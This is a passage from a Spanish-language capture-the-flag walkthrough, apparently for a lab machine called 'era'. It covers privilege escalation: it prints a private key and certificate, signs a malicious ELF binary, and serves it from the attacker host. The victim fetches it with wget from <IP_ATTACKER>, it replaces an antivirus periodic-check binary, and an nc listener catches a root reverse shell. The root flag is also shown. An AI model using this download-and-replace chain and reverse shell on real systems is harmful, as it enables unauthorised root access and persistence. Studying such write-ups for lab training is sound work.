JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----

Vamos a firmar el binario con estos pasos de los archivos que hayamos creado necesarios:

git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git # Descargar una herramienta especializada para firmar binarios ELF
sudo apt install libssl-dev # Instalamos dependencias
cd linux-elf-binary-signer/ # Nos movemos al directorio
gcc -o elf-sign elf_sign.c -lssl -lcrypto -Wno-deprecated-declarations # compilar el programa firmador de binarios
# Nos copiamos nuestro key.pem al directorio actual junto con el monitor compilado
./elf-sign sha256 key.pem key.pem monitor # firmar el binario `monitor` usando el algoritmo SHA256 y el certificado/key

Info:

--- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 26 sections detected.
 --- Section 0006 [.text] detected.
 --- Length of section [.text]: 480313
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

Ahora vamos a abrir un servidor de python3 para pasarnos el archivo.

python3 -m http.server 80

Seguidamente estaremos a la escucha desde otra pestaña de terminal:

nc -lvnp <PORT>

Desde la maquina victima, vamos a ejecutar lo siguiente:

cd /tmp
wget http://<IP_ATTACKER>/monitor
chmod +x monitor
rm /opt/AV/periodic-checks/monitor
mv monitor /opt/AV/periodic-checks/

Si esperamos un poco y volvemos a donde tenemos la escucha, veremos lo siguiente:

listening on [any] 7755 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.79] 57240
bash: cannot set terminal process group (101416): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# whoami
whoami
root

Veremos que ha funcionado, con esto ya seremos root, por lo que vamos a leer la flag de root.

root.txt

be7d13252b4df650acbec1c6e7193ffa

Last updated